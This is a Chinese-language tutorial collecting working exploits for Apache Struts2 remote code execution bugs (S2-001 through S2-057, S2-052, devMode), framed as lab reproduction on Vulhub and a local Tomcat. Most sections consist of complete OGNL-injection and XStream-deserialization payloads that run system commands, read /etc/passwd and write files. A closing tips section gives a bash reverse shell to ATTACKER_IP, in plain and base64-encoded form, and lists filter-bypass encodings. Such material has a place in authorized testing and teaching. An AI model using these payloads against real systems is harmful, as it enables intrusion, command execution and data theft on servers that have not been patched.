Struts2漏洞复现合集
1. Struts2简介
Struts2是一个基于MVC设计模式的Web应用框架,本质上相当于一个servlet,在MVC设计模式中作为控制器(Controller)来建立模型与视图的数据交互。Struts2以WebWork为核心,采用拦截器的机制处理用户请求,使业务逻辑控制器能够与ServletAPI完全脱离。
2. 环境搭建
2.1 下载Struts2
- 各版本下载链接:http://archive.apache.org/dist/struts/binaries/
- 推荐环境:Windows7 x64(需Java环境)
- 安装步骤:
- 安装JDK
- 安装Tomcat(默认配置即可)
- 上传war包到网站根目录
- 运行bin目录下的tomcat8(自动部署war包)
3. 本地漏洞复现
3.1 S2-057远程代码执行漏洞
验证POC:
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ipconfig%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action
3.2 S2-001远程执行代码漏洞
漏洞原理:当表单验证失败时,后端使用OGNL表达式%{value}解析用户提交的数据并重新填充表单,导致OGNL注入。
影响版本:Struts 2.0.0 - 2.0.8
验证方法:输入%{'zcc'},返回zcc则存在漏洞
POC获取tomcat路径:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
4. Vulhub漏洞复现
4.1 S2-001远程代码执行漏洞
POC示例:
- 获取网站真实路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
- 执行命令:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
4.2 S2-005远程代码执行漏洞
漏洞原理:通过unicode编码(\u0023)或8进制(\43)绕过#字符过滤,利用OGNL表达式关闭安全模式。
影响版本:Struts 2.0.0-2.1.8.1
POC(创建文件):
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
4.3 S2-007远程代码执行漏洞
漏洞原理:传递非整数参数导致错误,输入被当作OGNL表达式执行。
影响版本:2.0.0 - 2.2.3
POC(枚举目录):
%27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27
4.4 S2-008远程代码执行漏洞
影响版本:2.1.0 - 2.3.1
POC:
/devmode.action?debug=command&e xpression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami
4.5 S2-012远程代码执行漏洞
漏洞原理:使用${param_name}作为重定向变量时,会对参数值执行OGNL表达式解析。
影响版本:2.1.0 - 2.3.13
POC(需URL编码):
%25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22cat%22%2C %22%2Fetc%2Fpasswd%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D
4.6 S2-045远程代码执行漏洞
漏洞原理:通过修改Content-Type头触发OGNL表达式执行。
影响版本:2.3.5-2.3.31, 2.5-2.5.10
POC:
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(100*5000)).(#ros.flush())}
4.7 S2-052远程代码执行漏洞
漏洞原理:XStream组件反序列化漏洞。
影响版本:2.1.2-2.3.33, 2.5-2.5.12
POC(修改Content-Type为application-xml):
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.xmlMessage$xmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/success</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
</serviceIterator>
<lock/>
</cipher>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</entry>
</map>
4.8 S2-devMode远程代码执行漏洞
漏洞原理:devMode模式开启时导致严重RCE漏洞。
影响版本:2.1.0-2.5.1
POC:
/orders/new/?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=id
5. 通用技巧
-
文件操作:
- 读文件:
cat /etc/passwd - 写文件:
echo content > /path/to/file
- 读文件:
-
反弹Shell:
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRLQ0VSX0lQL1BPUlQgMD4mMQ==}|{base64,-d}|{bash,-i} -
常见绕过:
- Unicode编码绕过过滤(\u0023代替#)
- 8进制编码绕过(\43代替#)
- 00截断(用于S2-046等漏洞)
6. 总结
Struts2漏洞主要集中在OGNL表达式注入和反序列化问题上,利用方式多样但原理相似。在实际测试中需要注意:
- 准确识别Struts2版本
- 根据版本选择合适的POC
- 注意特殊字符的编码处理
- 生产环境可能限制某些功能(如devMode)